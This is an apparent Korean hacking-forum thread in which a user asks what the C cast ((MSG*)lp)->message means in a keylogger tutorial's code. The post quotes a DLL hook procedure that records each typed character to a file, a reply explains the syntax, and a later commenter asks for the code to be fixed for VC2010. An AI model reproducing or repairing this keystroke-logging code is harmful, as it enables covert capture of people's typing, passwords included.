프로그래밍

 3198, 1/160 회원가입  로그인  
   p0lly
   [다시질문] mongii님의 키로거코드를 보고 질문입니다 - 2

http://www.hackerschool.org/HS_Boards/zboard.php?AllArticle=true&no=3147 [복사]


mongii님의 강좌는 아래 링크구요...

http://research.hackerschool.org/Datas/Research_Lecture/keylog.txt

아래 DLL안의 코드중...
if(((MSG*)lp)->message == (long)WM_CHAR) 은 message라는 멤버와 WM_CHAR가 같은지 확인하는 것 같습니다.
여기서 ((MSG*)lp)->message 가 어떤 동작을 하는지 여쭙니다.
((MSG*)lp)의 의미를 모르겠습니다.
*가 MSG구조체뒤에 붙으면 어떤 의미인지요? 자세한 설명 부탁드립니다. 감사합니다!



================= 키로거.exe의 WinMain()중 일부 =================

int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance,
LPSTR lpCmdLine, int nShowCmd)
{
        HWND hWnd;        
        MSG message;  
              :
              :


================= 키보드 내용을 파일로 저장하는 DLL 코드 ===================

#include <window.h>

__declspec(dllexport) LRESULT CALLBACK GetMsgProc(INT nCode, WPARAM wp, LPARAM lp)
{
        if(((MSG*)lp)->message == (long)WM_CHAR)
        {                        
                HANDLE hFile;
                DWORD dwWrite;
               hFile = CreateFile("c:\\test.txt", GENERIC_WRITE, 0, NULL, OPEN_ALWAYS,
                        FILE_ATTRIBUTE_NORMAL, NULL);        
                SetFilePointer(hFile, 0, 0, FILE_END);                        
                WriteFile(hFile, &((MSG*)lp)->wParam, 1, &dwWrite, NULL);
                CloseHandle(hFile);                                
        }
        return TRUE;        
}



  Hit : 3927     Date : 2011/08/26 06:46



    
$Zero lp를 MSG 구조체로 형변환하라는 문법입니다.

만약 lp가 int 형으로 주소값이 적혀있는 상태라면 lp->message 와 같은 표현으로 message변수에 접근할수가 없지요 .

message 멤버는 MSG구조체에 정의된 맴버이므로 정확히 접근하려면 MSG구조체로 형변환을 해서 접근해야 합니다. MSG로 형변환을 해줘야 그 크기에 맞게 포인터가 계산되거든요 .

즉 받아온 파라미터 lp(iMessage 와 비슷한 파라미터로 가정) 를 MSG로 형변환해서 받아온 message가 WM_CHAR메시지인지 조사하는 문법입니다.
2011/08/27  
p0lly 감사합니다... 2011/08/27  
메버리키 저도 한번 공부해봤는데 왜 코드가 제대로 작동하지않을까요? 약간 옛날 버전 코드라서 vc2010에선 잘 작동되지않는것같네요.. 코드좀 제대로 고쳐주실수있나요? 2011/08/28